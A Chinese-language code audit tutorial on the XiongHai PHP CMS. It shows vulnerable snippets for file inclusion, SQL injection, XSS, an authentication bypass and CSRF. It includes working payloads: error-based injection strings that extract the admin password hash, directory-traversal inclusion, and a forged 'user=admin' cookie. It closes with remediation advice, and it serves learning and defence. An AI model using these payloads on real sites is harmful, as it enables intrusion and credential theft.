初次代码审计之熊海cms
字数 1324 2025-08-29 08:31:35
熊海CMS代码审计教学文档
一、审计环境准备
- 使用小皮面板搭建测试环境
- 新建网站部署熊海CMS源码
- 使用Seay源代码审计系统进行初步扫描
二、目录结构分析
admin/ -- 管理后台文件夹
css/ -- 存放CSS的文件夹
files/ -- 存放页面的文件夹
images/ -- 存放图片的文件夹
inc/ -- 网站配置文件文件夹
install/ -- 网站安装文件夹
seacmseditor/ -- 编辑器文件夹
template/ -- 模板文件夹
upload/ -- 上传功能文件夹
index.php -- 网站首页
三、漏洞类型及分析
1. 文件包含漏洞
漏洞文件:
- index.php
- admin/index.php
漏洞代码:
$file=addslashes($_GET['r']);
$action=$file==''?'index':$file;
include('files/'.$action.'.php');
漏洞分析:
- 使用addslashes()转义输入,但对文件包含无效
- 未限制包含文件路径,可目录穿越
- 可包含任意.php文件
利用方式:
?r=phpinfo // 包含files/phpinfo.php
?r=../phpinfo // 包含根目录phpinfo.php
2. SQL注入漏洞
(1) 后台登录注入
漏洞文件:admin/files/login.php
漏洞代码:
$user=$_POST['user'];
$query = "SELECT * FROM manage WHERE user='$user'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
漏洞特点:
- 未过滤用户输入
- 开启mysql_error()错误显示
- 报错注入可行
- 密码字段使用MD5比对,无法万能密码
利用payload:
1' or updatexml(1,concat((select concat(0x7e,password) from manage)),0) #
1' or updatexml(1,concat((select concat(0x7e,user) from manage)),0) #
(2) 其他后台注入点
漏洞文件:
- admin/files/softlist.php
- admin/files/editlink.php
漏洞代码:
$delete=$_GET['delete'];
$query = "DELETE FROM download WHERE id='$delete'";
(3) 前台注入
漏洞文件:files/software.php
漏洞代码:
$id=addslashes($_GET['cid']);
$query = "SELECT * FROM download WHERE id='$id'";
特殊点:
- 虽然使用addslashes(),但magic_quotes_gpc默认开启导致双转义失效
- 仍可报错注入
利用payload:
?r=content&cid=1%20or(updatexml(1,concat(0x7e,(select%20version()),0x7e),1))
(4) 安装流程注入
漏洞文件:install/index.php
漏洞代码:
$query = "UPDATE manage SET user='$user',password='$password',name='$user'";
@mysql_query($query) or die('修改错误:'.mysql_error());
利用条件:
- 需删除InstallLock.txt文件锁
- 重新安装时在user处注入
利用payload:
1' extractvalue(1,concat(0x7e,(select @@version),0x7e))#
3. XSS漏洞
(1) 反射型XSS
漏洞文件:files/contact.php
漏洞代码:
$page=addslashes($_GET['page']);
<?php echo $page?>
利用payload:
(2) 存储型XSS
漏洞文件:admin/files/manageinfo.php
漏洞代码:
$user=$_POST['user'];
$name=$_POST['name'];
$query = "UPDATE manage SET user='$user',name='$name'...";
利用payload:
4. 垂直越权
漏洞文件:inc/checklogin.php
漏洞代码:
$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit;
}
利用方式:
- 直接添加Cookie: user=admin
- 无需密码即可访问后台
5. CSRF漏洞
漏洞文件:admin/files/wzlist.php
漏洞代码:
$delete=$_GET['delete'];
if ($delete<>""){
$query = "DELETE FROM content WHERE id='$delete'";
$result = mysql_query($query);
echo "<script>alert('亲,ID为".$delete."的内容已经成功删除!');location.href='?r=wzlist'</script>";
exit;
}
利用方式:
- 构造恶意链接:
www.xionghai.com/admin/?r=wzlist&delete=18 - 诱骗管理员访问(需配合管理员Cookie)
四、漏洞修复建议
-
文件包含:
- 限制包含文件路径
- 使用白名单机制
- 禁用动态包含
-
SQL注入:
- 使用预处理语句
- 过滤特殊字符
- 关闭错误回显
-
XSS漏洞:
- 输出时使用htmlspecialchars()
- 输入时过滤特殊字符
-
越权漏洞:
- 实现完整的会话验证机制
- 使用CSRF Token
-
CSRF漏洞:
- 添加CSRF Token验证
- 检查Referer头
五、审计总结
- 该CMS适合初学者学习代码审计
- 存在典型的安全漏洞:
- 未过滤用户输入
- 缺乏权限验证
- 错误处理不当
- 漏洞利用链完整,从前台到后台均有安全问题
- 可作为代码审计入门案例学习
六、参考资源
- https://blog.csdn.net/qq_36869808/article/details/84324747
- PHP安全编程手册
- OWASP Top 10安全风险